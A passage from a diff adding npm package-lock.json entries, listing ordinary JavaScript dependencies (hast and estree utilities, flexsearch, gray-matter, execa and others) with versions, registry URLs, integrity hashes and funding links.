"sha512-bEN9VHRyXAUOjkKVQVvArFym08BTWB0aJPppZZr0UNyAqWsLaVfAqP7hbaTJjzHifmB5ebnR8Wm7r7yGN/HonQ==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-to-js": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/estree-util-to-js/-/estree-util-to-js-1.2.0.tgz", + "integrity": "sha512-IzU74r1PK5IMMGZXUVZbmiu4A1uhiPgW5hm1GjcOfr4ZzHaMPpLNJjR7HjXiIOzi25nZDrgFTobHTkV5Q6ITjA==", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "astring": "^1.8.0", + "source-map": "^0.7.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-value-to-estree": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/estree-util-value-to-estree/-/estree-util-value-to-estree-1.3.0.tgz", + "integrity": "sha512-Y+ughcF9jSUJvncXwqRageavjrNPAI+1M/L3BI3PyLp1nmgYTGUXU6t5z1Y7OWuThoDdhPME07bQU+d5LxdJqw==", + "dependencies": { + "is-plain-obj": "^3.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/estree-util-visit": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/estree-util-visit/-/estree-util-visit-1.2.1.tgz", + "integrity": "sha512-xbgqcrkIVbIG+lI/gzbvd9SGTJL4zqJKBFttUl5pP27KhAjtMKbX/mQXJ7qgyXpMgVy/zvpm0xoQQaGL8OloOw==", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/execa": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-0.8.0.tgz", + "integrity": "sha512-zDWS+Rb1E8BlqqhALSt9kUhss8Qq4nN3iof3gsOdyINksElaPyNBtKUMTR62qhvgVWR0CqCX7sdnKe4MnUbFEA==", + "dependencies": { + "cross-spawn": "^5.0.1", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/flexsearch": { + "version": "0.7.43", + "resolved": "https://registry.npmjs.org/flexsearch/-/flexsearch-0.7.43.tgz", + "integrity": "sha512-c5o/+Um8aqCSOXGcZoqZOm+NqtVwNsvVpWv6lfmSclU954O3wvQKxxK8zj74fPaSJbXpSLTs4PRhh+wnoCXnKg==" + }, + "node_modules/focus-visible": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/focus-visible/-/focus-visible-5.2.0.tgz", + "integrity": "sha512-Rwix9pBtC1Nuy5wysTmKy+UjbDJpIfg8eHjw0rjZ1mX4GNLz1Bmd16uDpI3Gk1i70Fgcs8Csg2lPm8HULFg9DQ==" + }, + "node_modules/get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha512-GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/git-up": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/git-up/-/git-up-7.0.0.tgz", + "integrity": "sha512-ONdIrbBCFusq1Oy0sC71F5azx8bVkvtZtMJAsv+a6lz5YAmbNnLD6HAB4gptHZVLPR8S2/kVN6Gab7lryq5+lQ==", + "dependencies": { + "is-ssh": "^1.4.0", + "parse-url": "^8.1.0" + } + }, + "node_modules/git-url-parse": { + "version": "13.1.1", + "resolved": "https://registry.npmjs.org/git-url-parse/-/git-url-parse-13.1.1.tgz", + "integrity": "sha512-PCFJyeSSdtnbfhSNRw9Wk96dDCNx+sogTe4YNXeXSJxt7xz5hvXekuRn9JX7m+Mf4OscCu8h+mtAl3+h5Fo8lQ==", + "dependencies": { + "git-up": "^7.0.0" + } + }, + "node_modules/github-slugger": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/github-slugger/-/github-slugger-2.0.0.tgz", + "integrity": "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==" + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + }, + "node_modules/gray-matter": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-4.0.3.tgz", + "integrity": "sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==", + "dependencies": { + "js-yaml": "^3.13.1", + "kind-of": "^6.0.2", + "section-matter": "^1.0.0", + "strip-bom-string": "^1.0.0" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/has-flag": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", + "integrity": "sha512-P+1n3MnwjR/Epg9BBo1KT8qbye2g2Ou4sFumihwt6I4tsUX7jnLcX4BTOSKg/B1ZrIYMN9FcEnG4x5a7NB8Eng==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/hash-obj": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/hash-obj/-/hash-obj-4.0.0.tgz", + "integrity": "sha512-FwO1BUVWkyHasWDW4S8o0ssQXjvyghLV2rfVhnN36b2bbcj45eGiuzdn9XOvOpjV3TKQD7Gm2BWNXdE9V4KKYg==", + "dependencies": { + "is-obj": "^3.0.0", + "sort-keys": "^5.0.0", + "type-fest": "^1.0.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/hast-util-from-dom": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/hast-util-from-dom/-/hast-util-from-dom-5.0.0.tgz", + "integrity": "sha512-d6235voAp/XR3Hh5uy7aGLbM3S4KamdW0WEgOaU1YoewnuYw4HXb5eRtv9g65m/RFGEfUY1Mw4UqCc5Y8L4Stg==", + "dependencies": { + "@types/hast": "^3.0.0", + "hastscript": "^8.0.0", + "web-namespaces": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-dom/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/hast-util-from-html": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/hast-util-from-html/-/hast-util-from-html-2.0.1.tgz", + "integrity": "sha512-RXQBLMl9kjKVNkJTIO6bZyb2n+cUH8LFaSSzo82jiLT6Tfc+Pt7VQCS+/h3YwG4jaNE2TA2sdJisGWR+aJrp0g==", + "dependencies": { + "@types/hast": "^3.0.0", + "devlop": "^1.1.0", + "hast-util-from-parse5": "^8.0.0", + "parse5": "^7.0.0", + "vfile": "^6.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-html-isomorphic": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/hast-util-from-html-isomorphic/-/hast-util-from-html-isomorphic-2.0.0.tgz", + "integrity": "sha512-zJfpXq44yff2hmE0XmwEOzdWin5xwH+QIhMLOScpX91e/NSGPsAzNCvLQDIEPyO2TXi+lBmU6hjLIhV8MwP2kw==", + "dependencies": { + "@types/hast": "^3.0.0", + "hast-util-from-dom": "^5.0.0", + "hast-util-from-html": "^2.0.0", + "unist-util-remove-position": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-html-isomorphic/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/hast-util-from-html/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/hast-util-from-html/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/hast-util-from-html/node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-html/node_modules/vfile": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", + "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-parse5": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-8.0.1.tgz", + "integrity": "sha512-Er/Iixbc7IEa7r/XLtuG52zoqn/b3Xng/w6aZQ0xGVxzhw5xUFxcRqdPzP6yFi/4HBYRaifaI5fQ1RH8n0ZeOQ==", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "devlop": "^1.0.0", + "hastscript": "^8.0.0", + "property-information": "^6.0.0", + "vfile": "^6.0.0", + "vfile-location": "^5.0.0", + "web-namespaces": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-parse5/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/hast-util-from-parse5/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/hast-util-from-parse5/node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-parse5/node_modules/vfile": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", + "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-is-element": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/hast-util-is-element/-/hast-util-is-element-3.0.0.tgz", + "integrity": "sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==", + "dependencies": { + "@types/hast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-is-element/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/hast-util-parse-selector": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-4.0.0.tgz", + "integrity": "sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==", + "dependencies": { + "@types/hast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-parse-selector/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/hast-util-raw": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-9.0.2.tgz", + "integrity": "sha512-PldBy71wO9Uq1kyaMch9AHIghtQvIwxBUkv823pKmkTM3oV1JxtsTNYdevMxvUHqcnOAuO65JKU2+0NOxc2ksA==", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "@ungap/structured-clone": "^1.0.0", + "hast-util-from-parse5": "^8.0.0", + "hast-util-to-parse5": "^8.0.0", + "html-void-elements": "^3.0.0", + "mdast-util-to-hast": "^13.0.0", + "parse5": "^7.0.0", + "unist-util-position": "^5.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0", + "web-namespaces": "^2.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-raw/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/hast-util-raw/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/hast-util-raw/node_modules/unist-util-position": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz", + "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-raw/node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-raw/node_modules/vfile": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", + "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-estree": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/hast-util-to-estree/-/hast-util-to-estree-2.3.3.tgz", + "integrity": "sha512-ihhPIUPxN0v0w6M5+IiAZZrn0LH2uZomeWwhn7uP7avZC6TE7lIiEh2yBMPr5+zi1aUCXq6VoYRgs2Bw9xmycQ==", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^2.0.0", + "@types/unist": "^2.0.0", + "comma-separated-tokens": "^2.0.0", + "estree-util-attach-comments": "^2.0.0", + "estree-util-is-identifier-name": "^2.0.0", + "hast-util-whitespace": "^2.0.0", + "mdast-util-mdx-expression": "^1.0.0", + "mdast-util-mdxjs-esm": "^1.0.0", + "property-information": "^6.0.0", + "space-separated-tokens": "^2.0.0", + "style-to-object": "^0.4.1", + "unist-util-position": "^4.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-parse5": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-8.0.0.tgz", + "integrity": "sha512-3KKrV5ZVI8if87DVSi1vDeByYrkGzg4mEfeu4alwgmmIeARiBLKCZS2uw5Gb6nU9x9Yufyj3iudm6i7nl52PFw==", + "dependencies": { + "@types/hast": "^3.0.0", + "comma-separated-tokens": "^2.0.0", + "devlop": "^1.0.0", + "property-information": "^6.0.0", + "space-separated-tokens": "^2.0.0", + "web-namespaces": "^2.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-parse5/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/hast-util-to-text": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/hast-util-to-text/-/hast-util-to-text-4.0.0.tgz", + "integrity": "sha512-EWiE1FSArNBPUo1cKWtzqgnuRQwEeQbQtnFJRYV1hb1BWDgrAlBU0ExptvZMM/KSA82cDpm2sFGf3Dmc5Mza3w==", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "hast-util-is-element": "^3.0.0", + "unist-util-find-after": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-text/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/hast-util-to-text/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/hast-util-whitespace": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-2.0.1.tgz", + "integrity": "sha512-nAxA0v8+vXSBDt3AnRUNjyRIQ0rD+ntpbAp4LnPkumc5M9yUbSMa4XDU9Q6etY4f1Wp4bNgvc1yjiZtsTTrSng==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hastscript": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/hastscript/-/hastscript-8.0.0.tgz", + "integrity": "sha512-dMOtzCEd3ABUeSIISmrETiKuyydk1w0pa+gE/uormcTpSYuaNJPbX1NU3JLyscSLjwAQM8bWMhhIlnCqnRvDTw==", + "dependencies": { + "@types/hast": "^3.0.0", + "comma-separated-tokens": "^2.0.0", + "hast-util-parse-selector": "^4.0.0", + "property-information": "^6.0.0", + "space-separated-tokens": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hastscript/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/heap": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/heap/-/heap-0.2.7.tgz", + "integrity": "sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==" + }, + "node_modules/html-void-elements": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz", + "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/inline-style-parser": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.1.1.tgz", + "integrity": "sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q==" + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "engines": { + "node": ">=12" + } + }, + "node_modules/intersection-observer": { + "version": "0.12.2", + "resolved": "https://registry.npmjs.org/intersection-observer/-/intersection-observer-0.12.2.tgz", + "integrity": "sha512-7m1vEcPCxXYI8HqnL8CKI6siDyD+eIWSwgB3DZA+ZTogxk9I4CDnj4wilt9x/+/QbHI4YG5YZNmC6458/e9Ktg==" + }, + "node_modules/is-alphabetical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz", + "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz", + "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", + "dependencies": { + "is-alphabetical": "^2.0.0", + "is-decimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-buffer": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "engines": { + "node": ">=4" + } + }, + "node_modules/is-decimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz", + "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-hexadecimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz", + "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-3.0.0.tgz", + "integrity": "sha512-IlsXEHOjtKhpN8r/tRFj2nDyTmHvcfNeu/nrRIcXE17ROeatXchkojffa1SpdqW4cr/Fj6QkEf/Gn4zf6KKvEQ==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-plain-obj": { + "version": "3.0.0", 